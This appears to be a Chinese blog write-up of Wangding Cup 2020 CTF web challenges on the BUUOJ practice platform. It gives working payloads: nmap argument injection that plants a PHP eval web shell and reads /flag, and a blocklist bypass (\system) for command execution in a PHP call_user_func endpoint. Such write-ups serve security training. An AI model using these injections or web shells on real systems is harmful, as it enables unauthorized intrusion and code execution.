友情提示：本文最后更新于 583 天前，文中的内容可能已有所发展或发生改变。
[网鼎杯 2020 朱雀组]Think Java
java代审
[网鼎杯 2020 朱雀组]Nmap
nmap -oG 写入文件
nmap -iL读取扫描文件
黑盒但是随便测测应该就可以绕过了
127.0.0.1'<?=eval($_POST[a]);?> -oG shell.php'
Hacker...
127.0.0.1'<?=eval($_POST[a]);?> -oG shell.phtml'
发现并没有写成功,估计还有什么其他的东西
127.0.0.1' <?=eval($_POST[a]);?> -oG shell.phtml '
这个成功了，那么猜测后端应该是有个escapeshellarg
http://7ae0ff86-ac34-4c5d-bde7-b6a40ce2818e.node5.buuoj.cn:81/shell.phtml
POST:
a=echo `tac /flag`;
当然还可以读取文件
127.0.0.1' -iL /flag -oN /var/www/html/flag.txt '
127.0.0.1' -iL /flag -oN test.txt '
访问flag.txt即可(路径没关系都可以)
[网鼎杯 2020 朱雀组]phpweb
抓包发现参数
POST /index.php HTTP/1.1
Host: 3c6b16ed-e525-485c-9917-8e10478e0800.node5.buuoj.cn:81
Content-Length: 34
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Origin: http://3c6b16ed-e525-485c-9917-8e10478e0800.node5.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://3c6b16ed-e525-485c-9917-8e10478e0800.node5.buuoj.cn:81/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
func=file_get_contents&p=index.php
得到源码
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
很容易就绕过了，随便测试一下
func=\system&p=find / -type f -name "f*"
找到这几个
/sys/devices/platform/serial8250/tty/ttyS25/flags
/sys/devices/virtual/net/lo/flags
/tmp/flagoefiu4r93
func=\system&p=tac /tmp/flagoefiu4r93
成功